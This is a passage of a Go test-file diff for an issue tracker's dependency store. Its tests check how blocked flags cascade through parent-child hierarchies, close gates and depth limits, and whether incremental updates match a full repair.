"pc-gate-c1", "pc-gate-p", types.DepParentChild) + addDepSkippingCycleCheck(ctx, t, store, "pc-gate-c2", "pc-gate-p", types.DepParentChild) + + assertBlockedFlags(ctx, t, store, "after the write path", map[string]bool{ + "pc-gate-p": true, // P really does depend on two open children. + "pc-gate-c1": false, // ...but the gate must not darken them. + "pc-gate-c2": false, + }) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", map[string]bool{ + "pc-gate-p": true, + "pc-gate-c1": false, + "pc-gate-c2": false, + }) + + ready, err := store.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + inReady := map[string]bool{} + for _, issue := range ready { + inReady[issue.ID] = true + } + for _, id := range []string{"pc-gate-c1", "pc-gate-c2"} { + if !inReady[id] { + t.Errorf("%s missing from ready work: the children of a close-gate epic are exactly what must stay workable", id) + } + } + if inReady["pc-gate-p"] { + t.Error("pc-gate-p is ready, but it is blocked on two open children") + } +} + +// TestParentChildCascade_ParentBlocksItsOwnGrandchild is the same lock one +// level down, and the case a DIRECT-child reading of "own child" leaves alive +// (the adversarial review's B1 repro). +// +// P blocks on G, which is not P's child but P's GRANDCHILD: pc C -> P, +// pc C2 -> P, pc G -> C. Under a depth-1 test G reads exogenous, so P darkens +// C, so C darkens G — and G is the only row whose close can ever free P. The +// contract is about blockedness originating outside P's own SUBTREE, so the +// whole hierarchy under P must stay bright while P alone stays blocked. +// +// C2 is the sibling control: it is reachable only through P's cascade, so it +// proves the leg was re-evaluated rather than merely skipped for the branch +// the new edge touched. +func TestParentChildCascade_ParentBlocksItsOwnGrandchild(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{"pcg-p", "pcg-c", "pcg-c2", "pcg-g"} { + createPerm(t, ctx, store, id) + } + // The gate goes in first, while P and G are unrelated... + addDependencyWithMeta(t, ctx, store, "pcg-p", "pcg-g", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcg-c", "pcg-p", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcg-c2", "pcg-p", types.DepParentChild, "") + // ...and the edge that puts G inside P's subtree comes last, which is what + // reclassifies P's reason from exogenous to subtree-derived. Nothing but + // this edge's own seeding can un-darken C and C2. + addDepSkippingCycleCheck(ctx, t, store, "pcg-g", "pcg-c", types.DepParentChild) + + want := map[string]bool{ + "pcg-p": true, // P still depends on an open G. + "pcg-c": false, // but nothing under P may be darkened by it, + "pcg-c2": false, + "pcg-g": false, // least of all the row whose close frees P. + } + assertBlockedFlags(ctx, t, store, "after the write path", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", want) + + ready, err := store.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + inReady := map[string]bool{} + for _, issue := range ready { + inReady[issue.ID] = true + } + if !inReady["pcg-g"] { + t.Error("pcg-g missing from ready work: the grandchild P waits on is the one row that can end the lock") + } + for _, id := range []string{"pcg-c", "pcg-c2"} { + if !inReady[id] { + t.Errorf("%s missing from ready work", id) + } + } + + // The same answer from a fully inverted plane: the grandchild case needs + // the fixpoint, not just the write path's incremental seeding. + if _, err := store.db.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert flags: %v", err) + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + assertBlockedFlags(ctx, t, store, "after repairing an inverted plane", want) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } +} + +// TestParentChildCascade_ExogenousParentStillCascades is the control: the fix +// narrows the cascade, it does not remove it. P is blocked by an open issue +// that is NOT one of its children, so both children inherit blocked exactly as +// before. +func TestParentChildCascade_ExogenousParentStillCascades(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{"pc-exo-p", "pc-exo-c1", "pc-exo-c2", "pc-exo-x"} { + createPerm(t, ctx, store, id) + } + addDependencyWithMeta(t, ctx, store, "pc-exo-p", "pc-exo-x", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pc-exo-c1", "pc-exo-p", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pc-exo-c2", "pc-exo-p", types.DepParentChild, "") + + assertBlockedFlags(ctx, t, store, "after the write path", map[string]bool{ + "pc-exo-x": false, + "pc-exo-p": true, + "pc-exo-c1": true, + "pc-exo-c2": true, + }) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", map[string]bool{ + "pc-exo-p": true, + "pc-exo-c1": true, + "pc-exo-c2": true, + }) +} + +// TestParentChildCascade_ThreeLevelChainBothWays pins the recursive clause in +// both directions on one graph. +// +// Exogenous chain: GP is blocked by an outside issue, so GP darkens P and P +// darkens C — including C, whose own parent P has no blocking edge of its own. +// That is the clause "P's own parent-child parent is (recursively) +// exogenously blocked", carried one level per fixpoint pass. +// +// Close-gate chain: GP2 is blocked only by its own child P2. Neither P2 nor +// P2's child C2 may be darkened by it. +func TestParentChildCascade_ThreeLevelChainBothWays(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{ + "pc3-x", "pc3-gp", "pc3-p", "pc3-c", + "pc3-gp2", "pc3-p2", "pc3-c2", + } { + createPerm(t, ctx, store, id) + } + + // Exogenous: GP -> X (outside), then the two-level hierarchy under GP. + addDependencyWithMeta(t, ctx, store, "pc3-gp", "pc3-x", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pc3-p", "pc3-gp", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pc3-c", "pc3-p", types.DepParentChild, "") + + // Close gate: GP2 blocks on P2, which is then made GP2's own child, and C2 + // hangs under P2. + addDependencyWithMeta(t, ctx, store, "pc3-gp2", "pc3-p2", types.DepBlocks, "") + addDepSkippingCycleCheck(ctx, t, store, "pc3-p2", "pc3-gp2", types.DepParentChild) + addDependencyWithMeta(t, ctx, store, "pc3-c2", "pc3-p2", types.DepParentChild, "") + + want := map[string]bool{ + "pc3-x": false, + "pc3-gp": true, + "pc3-p": true, + "pc3-c": true, + "pc3-gp2": true, // blocked on its own open child... + "pc3-p2": false, // ...which must not be darkened, + "pc3-c2": false, // ...nor anything under it. + } + assertBlockedFlags(ctx, t, store, "after the write path", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", want) + + // The full repair reaches the same fixpoint from a fully inverted plane, + // not just from the write path's answer: the chain is the case where the + // cascade needs more than one pass. + if _, err := store.db.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert flags: %v", err) + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + assertBlockedFlags(ctx, t, store, "after repairing an inverted plane", want) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } +} + +// TestParentChildCascade_WaitsForGateOverOwnChildren pins the same contract for +// the waits-for leg, whose "reason" is a gate rather than a target status. +// +// A gate whose spawner is the parent's OWN child is child-derived and must not +// darken the parent's children; a gate on a spawner outside the hierarchy is +// exogenous and must. +func TestParentChildCascade_WaitsForGateOverOwnChildren(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{ + "pcw-p", "pcw-c1", "pcw-c2", "pcw-g", + "pcw-p2", "pcw-c3", "pcw-s", "pcw-sc", + } { + createPerm(t, ctx, store, id) + } + + // Own-child gate: P waits for C1, its own child. C1 has an open child of + // its own, so the all-children gate is live and P is blocked. + addDependencyWithMeta(t, ctx, store, "pcw-c1", "pcw-p", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcw-c2", "pcw-p", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcw-g", "pcw-c1", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcw-p", "pcw-c1", types.DepWaitsFor, "") + + // Outside gate: P2 waits for a spawner that is not in its hierarchy. + addDependencyWithMeta(t, ctx, store, "pcw-c3", "pcw-p2", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcw-sc", "pcw-s", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcw-p2", "pcw-s", types.DepWaitsFor, "") + + want := map[string]bool{ + "pcw-p": true, // its own child's fanout is still open + "pcw-c1": false, // but the gate is over C1 itself: no darkening + "pcw-c2": false, + "pcw-g": false, + "pcw-p2": true, // gate on an outside spawner: exogenous + "pcw-c3": true, // so the child inherits + "pcw-s": false, + "pcw-sc": false, + } + assertBlockedFlags(ctx, t, store, "after the write path", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", want) +} + +// horizonChain builds "P blocks on a descendant `levels` parent-child edges +// below it" and returns the chain ids, nearest child first. +// +// The order is the only order the store allows: the blocks edge goes in while +// the hierarchy does not exist yet, then the chain from the top down, and the +// LAST edge — the one that finally puts the blocked target inside P's subtree — +// needs SkipCycleCheck, because that is the edge that closes the loop. +func horizonChain(ctx context.Context, t *testing.T, store *DoltStore, prefix string, levels int) []string { + t.Helper() + chain := make([]string, 0, levels) + parent := prefix + "-p" + createPerm(t, ctx, store, parent) + for i := 1; i <= levels; i++ { + id := fmt.Sprintf("%s-d%d", prefix, i) + createPerm(t, ctx, store, id) + chain = append(chain, id) + } + + addDependencyWithMeta(t, ctx, store, parent, chain[levels-1], types.DepBlocks, "") + for i, id := range chain { + up := parent + if i > 0 { + up = chain[i-1] + } + if i == levels-1 { + addDepSkippingCycleCheck(ctx, t, store, id, up, types.DepParentChild) + continue + } + addDependencyWithMeta(t, ctx, store, id, up, types.DepParentChild, "") + } + return chain +} + +// TestParentChildCascade_ReasonAtTheWalkHorizon pins the deepest shape the +// exogeneity test actually decides: P blocks on a descendant exactly +// subtreeWalkDepth parent-child edges below it. The walk reaches P on its last +// level, so the reason reads as subtree-derived and nothing under P is +// darkened. +// +// Together with the past-horizon test below, this is the pin on the horizon +// itself: these two shapes differ by one edge and must land on opposite sides. +func TestParentChildCascade_ReasonAtTheWalkHorizon(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + // 4 = subtreeWalkDepth (internal/storage/issueops/blocked_consistency.go). + chain := horizonChain(ctx, t, store, "pch4", 4) + + want := map[string]bool{"pch4-p": true} + for _, id := range chain { + want[id] = false + } + assertBlockedFlags(ctx, t, store, "after the write path", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", want) + + // And from an inverted plane, which is the leg the fixpoint has to walk. + if _, err := store.db.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert flags: %v", err) + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + assertBlockedFlags(ctx, t, store, "after repairing an inverted plane", want) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } +} + +// TestParentChildCascade_ReasonPastTheWalkHorizon is the PIN ON THE +// LIMITATION, not on the fix (gastownhall/beads#6506, fix round 2 / D2). +// +// The ancestor walk in parentsExplainedBySubtreeSQL is four levels deep +// (subtreeWalkDepth), spelled as four pairs of indexed LEFT JOINs because +// WITH RECURSIVE measured 7.5x per evaluation and blew the driver read timeout +// on the full repair. So a blocking reason whose target is FIVE parent-child +// edges below its blocker is out of the walk's reach and reads as EXOGENOUS. +// +// This test states exactly what that costs, so the limitation is a pinned +// behavior rather than a comment: the whole chain under P stays dark, which is +// the pre-#6506 behavior for this one shape. It therefore PASSES UNCHANGED ON +// origin/main — deliberately, and it is the assertion that makes "no new dark +// rows, no new visible rows past the horizon" checkable rather than argued. If +// someone raises the horizon, this test fails and names the row that changed. +// +// The direction matters and is the safe one: past the horizon the cascade +// propagates MORE than the contract asks, never less, so no work is hidden +// that the old code showed. What survives is the old permanent lock for a +// hierarchy deeper than epic -> sub-epic -> leg -> task between a blocker and +// the row it waits on. +func TestParentChildCascade_ReasonPastTheWalkHorizon(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + // 5 = subtreeWalkDepth + 1: one level past what the walk can see. + chain := horizonChain(ctx, t, store, "pch5", 5) + + // Every row in the chain stays blocked, P included: origin/main's answer. + want := map[string]bool{"pch5-p": true} + for _, id := range chain { + want[id] = true + } + assertBlockedFlags(ctx, t, store, "after the write path", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", want) + + // No NEW visible row either: nothing in the shape is ready work, which is + // what it means for the past-horizon answer to be unchanged. + ready, err := store.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + for _, issue := range ready { + if _, ours := want[issue.ID]; ours { + t.Errorf("%s is ready work: past the walk horizon the cascade is unchanged from origin/main, where the whole chain is dark", issue.ID) + } + } + + if _, err := store.db.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert flags: %v", err) + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + assertBlockedFlags(ctx, t, store, "after repairing an inverted plane", want) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } +} + +// TestParentChildCascade_IncrementalMatchesFullRepairAcrossEdits is the +// lockstep proof for the incremental seeding this fix changed +// (AffectedByDepChange{,ForWisp}InTx now walk UP from a parent-child edge's +// target to every reason-carrying ancestor and reseed each ancestor's whole +// sibling set, see appendSiblingsUnderAncestorsInTx). +// +// The property: after EVERY mutation, the flags the incremental write path +// left behind are exactly the flags a full repair computes from scratch — +// detection counts 0 and the repair changes 0 rows (assertConvergedAndStable). +// An under-seeded incremental path shows up here as a nonzero repair on a +// graph the write path just finished maintaining. +// +// The mutations are the ones that reclassify a blocking reason WITHOUT +// touching the row that carries it, which is where seeding is hard to get +// right: moving the reason's target INTO the blocker's subtree, closing and +// reopening it, moving it back OUT, and removing the reason. +// +// Note what is NOT here: adding a blocks edge straight onto an existing own +// descendant. The store refuses that outright (CheckBlockingHierarchyInTx, the +// refusal whose reason text this branch corrects), so the shape can only +// arrive the way it arrives in the wild — one edge at a time, or through +// import/merge — and the re-parent below is the one-edge-at-a-time arrival. +func TestParentChildCascade_IncrementalMatchesFullRepairAcrossEdits(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{"ls-p", "ls-c", "ls-c2", "ls-g", "ls-out"} { + createPerm(t, ctx, store, id) + } + + step := func(name string, want map[string]bool) { + t.Helper() + assertBlockedFlags(ctx, t, store, name+" (write path)", want) + // The lockstep itself: detection sees nothing to fix and the full + // repair changes nothing. + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, name+" (after full repair)", want) + } + + // The starting graph: P blocks on G while G is OUTSIDE P's subtree, so the + // reason is exogenous and P's two children inherit it. G hangs under a + // root of its own. + addDependencyWithMeta(t, ctx, store, "ls-p", "ls-g", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "ls-c", "ls-p", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "ls-c2", "ls-p", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "ls-g", "ls-out", types.DepParentChild, "") + + exogenous := map[string]bool{ + "ls-p": true, "ls-c": true, "ls-c2": true, "ls-g": false, "ls-out": false, + } + subtreeDerived := map[string]bool{ + "ls-p": true, "ls-c": false, "ls-c2": false, "ls-g": false, "ls-out": false, + } + clear := map[string]bool{ + "ls-p": false, "ls-c": false, "ls-c2": false, "ls-g": false, "ls-out": false, + } + step("exogenous blocker outside the subtree", exogenous) + + // 1. Re-parent G INTO P's subtree, under C. The same blocks edge is now a + // close gate over P's own grandchild, so P keeps its flag and its whole + // subtree must come bright — including C and C2, which this edge does not + // name. SkipCycleCheck is the only way in: P blocks G, so pc G -> C closes + // a loop. + if err := store.RemoveDependency(ctx, "ls-g", "ls-out", "tester"); err != nil { + t.Fatalf("remove parent-child ls-g -> ls-out: %v", err) + } + addDepSkippingCycleCheck(ctx, t, store, "ls-g", "ls-c", types.DepParentChild) + step("reason re-parented into the subtree", subtreeDerived) + + // 2. Close the descendant: a closed target is no reason at all, so P comes + // bright with the edge still in place. Then reopen it. + if err := store.CloseIssue(ctx, "ls-g", "lockstep", "tester", ""); err != nil { + t.Fatalf("close ls-g: %v", err) + } + step("descendant closed", clear) + if err := store.ReopenIssue(ctx, "ls-g", "lockstep", "tester"); err != nil { + t.Fatalf("reopen ls-g: %v", err) + } + step("descendant reopened", subtreeDerived) + + // 3. Re-parent G back OUT. The reason turns exogenous again and P's + // cascade comes back on for C and C2. + if err := store.RemoveDependency(ctx, "ls-g", "ls-c", "tester"); err != nil { + t.Fatalf("remove parent-child ls-g -> ls-c: %v", err) + } + addDependencyWithMeta(t, ctx, store, "ls-g", "ls-out", types.DepParentChild, "") + step("reason re-parented out of the subtree", exogenous) + + // 4. Remove the reason itself: nothing anywhere carries one. + if err := store.RemoveDependency(ctx, "ls-p", "ls-g", "tester"); err != nil { + t.Fatalf("remove blocks ls-p -> ls-g: %v", err) + } + step("blocks edge removed", clear) +} + +// TestParentChildCascade_OwnGateUnderExogenousParent is the contract's +// recursive clause for a parent that carries a reason of its own (the #6602 +// review's mixed-arm repro). Q is blocked by an outside issue X, P hangs under +// Q, and P carries a close gate over its own child C. P's own reason is +// subtree-derived, but the epic above it is gated from outside, so P cascades +// and C stays dark: a close gate does not unlock the work under an epic that +// is itself blocked. +// +// Closing and reopening X then flips C without touching a row of the gate. +// Nothing about P changes, so only the seeding from X down the hierarchy can +// re-evaluate C. +func TestParentChildCascade_OwnGateUnderExogenousParent(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{"pcm-x", "pcm-q", "pcm-p", "pcm-c"} { + createPerm(t, ctx, store, id) + } + addDependencyWithMeta(t, ctx, store, "pcm-q", "pcm-x", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcm-p", "pcm-q", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcm-p", "pcm-c", types.DepBlocks, "") + addDepSkippingCycleCheck(ctx, t, store, "pcm-c", "pcm-p", types.DepParentChild) + + step := func(name string, want map[string]bool) { + t.Helper() + assertBlockedFlags(ctx, t, store, name+" (write path)", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, name+" (after full repair)", want) + } + gated := map[string]bool{ + "pcm-x": false, + "pcm-q": true, // blocked from outside, + "pcm-p": true, // which P inherits on top of its own gate, + "pcm-c": true, // so the gate's own child stays dark. + } + step("own gate under an exogenously blocked parent", gated) + + ready, err := store.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + for _, issue := range ready { + if issue.ID == "pcm-c" { + t.Error("pcm-c is ready work, but the epic above its parent is blocked from outside") + } + } + + if _, err := store.db.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert flags: %v", err) + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + assertBlockedFlags(ctx, t, store, "after repairing an inverted plane", gated) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } + + if err := store.CloseIssue(ctx, "pcm-x", "lockstep", "tester", ""); err != nil { + t.Fatalf("close pcm-x: %v", err) + } + step("outside blocker closed", map[string]bool{ + "pcm-x": false, + "pcm-q": false, + "pcm-p": true, // P still waits on C, + "pcm-c": false, // but nothing above P is blocked any more. + }) + if err := store.ReopenIssue(ctx, "pcm-x", "lockstep", "tester"); err != nil { + t.Fatalf("reopen pcm-x: %v", err) + } + step("outside blocker reopened", gated) +} + +// TestParentChildCascade_NestedGatesBothWays pins that the recursive clause +// reads the WHOLE chain above a parent, not one level of it. +// +// Exogenous root: R is blocked by an outside issue X. Q hangs under R and +// carries a close gate over its own child P, and P carries one over its own +// child C. Q's reason and P's are both subtree-derived, so asking only "is P's +// blocked parent explained?" finds Q explained and lets C through. But Q is +// explained by its own reasons alone while R above it is gated from outside: +// R cascades into Q, Q into P, and P into C. +// +// No exogenous root: the same two nested gates, Q2 over P2 and P2 over C2, +// with nothing blocked above Q2. Every blocked row is explained by its own +// subtree, so C2 stays bright. This is the control against pruning too much: +// a blocked parent above P2 is not enough to cascade, it has to be one that +// is not explained. +// +// Closing X then frees C three levels below the row whose flag changed, and +// reopening X darkens it again. +// +// Last, a write that re-evaluates the children alone: an outside blocker Y of +// their own closes. The close seeds only Y and the rows waiting on it, so the +// batch's read is asked about P2 and P and nothing above them, and the chain +// has to be read by id as the walk climbs: Q2 is explained, so C2 comes +// bright, and R is not, so C stays dark. +func TestParentChildCascade_NestedGatesBothWays(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{ + "pcn-x", "pcn-r", "pcn-q", "pcn-p", "pcn-c", + "pcn-q2", "pcn-p2", "pcn-c2", + } { + createPerm(t, ctx, store, id) + } + // The blocks edges go in while no hierarchy exists; each parent-child edge + // that puts a gate's target under its blocker closes a loop and needs + // SkipCycleCheck. + addDependencyWithMeta(t, ctx, store, "pcn-r", "pcn-x", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcn-q", "pcn-p", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcn-p", "pcn-c", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcn-q", "pcn-r", types.DepParentChild, "") + addDepSkippingCycleCheck(ctx, t, store, "pcn-p", "pcn-q", types.DepParentChild) + addDepSkippingCycleCheck(ctx, t, store, "pcn-c", "pcn-p", types.DepParentChild) + + addDependencyWithMeta(t, ctx, store, "pcn-q2", "pcn-p2", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcn-p2", "pcn-c2", types.DepBlocks, "") + addDepSkippingCycleCheck(ctx, t, store, "pcn-p2", "pcn-q2", types.DepParentChild) + addDepSkippingCycleCheck(ctx, t, store, "pcn-c2", "pcn-p2", types.DepParentChild) + + step := func(name string, want map[string]bool) { + t.Helper() + assertBlockedFlags(ctx, t, store, name+" (write path)", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, name+" (after full repair)", want) + } + want := map[string]bool{ + "pcn-x": false, + "pcn-r": true, + "pcn-q": true, + "pcn-p": true, + "pcn-c": true, // two explained gates under an exogenous one + "pcn-q2": true, + "pcn-p2": true, + "pcn-c2": false, // two explained gates with nothing above them + } + step("nested gates", want) + + ready, err := store.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + inReady := map[string]bool{} + for _, issue := range ready { + inReady[issue.ID] = true + } + if inReady["pcn-c"] { + t.Error("pcn-c is ready work, but R two gates above it is blocked from outside") + } + if !inReady["pcn-c2"] { + t.Error("pcn-c2 missing from ready work: every gate above it is explained by its own subtree") + } + + if _, err := store.db.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert flags: %v", err) + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + assertBlockedFlags(ctx, t, store, "after repairing an inverted plane", want) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } + + if err := store.CloseIssue(ctx, "pcn-x", "lockstep", "tester", ""); err != nil { + t.Fatalf("close pcn-x: %v", err) + } + freed := map[string]bool{} + for id, blocked := range want { + freed[id] = blocked + } + freed["pcn-r"] = false + freed["pcn-c"] = false + step("outside blocker closed", freed) + if err := store.ReopenIssue(ctx, "pcn-x", "lockstep", "tester"); err != nil { + t.Fatalf("reopen pcn-x: %v", err) + } + step("outside blocker reopened", want) + + createPerm(t, ctx, store, "pcn-y") + addDependencyWithMeta(t, ctx, store, "pcn-c2", "pcn-y", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcn-c", "pcn-y", types.DepBlocks, "") + want["pcn-y"] = false + want["pcn-c2"] = true // by Y, for now + step("a blocker of their own on both children", want) + if err := store.CloseIssue(ctx, "pcn-y", "done", "tester", ""); err != nil { + t.Fatalf("close pcn-y: %v", err) + } + want["pcn-c2"] = false + step("their own blocker closed", want) +} + +// TestParentChildCascade_WispGateUnderExogenousParent is the mixed arm on the +// wisp mirror, and across the two kinds: wisp P carries a close gate over its +// own wisp child C and hangs under a permanent epic Q that an outside issue X +// blocks. The edge up from P lives in wisp_dependencies and names Q in +// depends_on_issue_id, so the walk above P has to cross from the wisp tables +// to the issue tables to find what gates it. +// +// The second component crosses the other way, under the same X: permanent P2 +// carries a close gate over its own child C2 and hangs under a wisp epic Q2 +// that X blocks. The edge up from P2 lives in dependencies and names Q2 in +// depends_on_wisp_id. +// +// Last, a wisp gate that is explained: wisp Q3 gates its own child P3, which +// gates its own child C3, and nothing blocks Q3 from outside, so C3 is bright. +// Then C3's own outside blocker Y closes. The close seeds only Y and the rows +// waiting on it, so the batch's read is asked about P3 and nothing above it, +// and the walk has to read wisp Q3 by id to find it explained. +func TestParentChildCascade_WispGateUnderExogenousParent(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + createPerm(t, ctx, store, "pcwm-x") + createPerm(t, ctx, store, "pcwm-q") + createWisp(t, ctx, store, "pcwm-p") + createWisp(t, ctx, store, "pcwm-c") + addDependencyWithMeta(t, ctx, store, "pcwm-q", "pcwm-x", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcwm-p", "pcwm-q", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcwm-p", "pcwm-c", types.DepBlocks, "") + addDepSkippingCycleCheck(ctx, t, store, "pcwm-c", "pcwm-p", types.DepParentChild) + + createWisp(t, ctx, store, "pcwm-q2") + createPerm(t, ctx, store, "pcwm-p2") + createPerm(t, ctx, store, "pcwm-c2") + addDependencyWithMeta(t, ctx, store, "pcwm-q2", "pcwm-x", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcwm-p2", "pcwm-q2", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcwm-p2", "pcwm-c2", types.DepBlocks, "") + addDepSkippingCycleCheck(ctx, t, store, "pcwm-c2", "pcwm-p2", types.DepParentChild) + + // The rows live in two tables, so read both; the ids do not collide. + check := func(when string, want map[string]bool) { + t.Helper() + got := readIsBlockedFlags(t, ctx, store, "issues") + for id, blocked := range readIsBlockedFlags(t, ctx, store, "wisps") { + got[id] = blocked + } + for id, expected := range want { + if blocked, ok := got[id]; !ok { + t.Errorf("%s: %s not found in issues or wisps", when, id) + } else if blocked != expected { + t.Errorf("%s: %s is_blocked = %v, want %v", when, id, blocked, expected) + } + } + } + step := func(name string, want map[string]bool) { + t.Helper() + check(name+" (write path)", want) + assertConvergedAndStable(ctx, t, store) + check(name+" (after full repair)", want) + } + gated := map[string]bool{ + "pcwm-x": false, + "pcwm-q": true, "pcwm-p": true, "pcwm-c": true, + "pcwm-q2": true, "pcwm-p2": true, "pcwm-c2": true, + } + step("wisp gate under an exogenously blocked epic", gated) + + for _, table := range []string{"issues", "wisps"} { + if _, err := store.db.ExecContext(ctx, "UPDATE "+table+" SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert %s flags: %v", table, err) + } + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + check("after repairing an inverted plane", gated) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } + + if err := store.CloseIssue(ctx, "pcwm-x", "lockstep", "tester", ""); err != nil { + t.Fatalf("close pcwm-x: %v", err) + } + step("outside blocker closed", map[string]bool{ + "pcwm-x": false, + "pcwm-q": false, "pcwm-p": true, "pcwm-c": false, + "pcwm-q2": false, "pcwm-p2": true, "pcwm-c2": false, + }) + if err := store.ReopenIssue(ctx, "pcwm-x", "lockstep", "tester"); err != nil { + t.Fatalf("reopen pcwm-x: %v", err) + } + step("outside blocker reopened", gated) + + createWisp(t, ctx, store, "pcwm-q3") + createPerm(t, ctx, store, "pcwm-p3") + createPerm(t, ctx, store, "pcwm-c3") + addDependencyWithMeta(t, ctx, store, "pcwm-q3", "pcwm-p3", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcwm-p3", "pcwm-c3", types.DepBlocks, "") + addDepSkippingCycleCheck(ctx, t, store, "pcwm-p3", "pcwm-q3", types.DepParentChild) + addDepSkippingCycleCheck(ctx, t, store, "pcwm-c3", "pcwm-p3", types.DepParentChild) + nested := map[string]bool{"pcwm-q3": true, "pcwm-p3": true, "pcwm-c3": false} + step("two explained 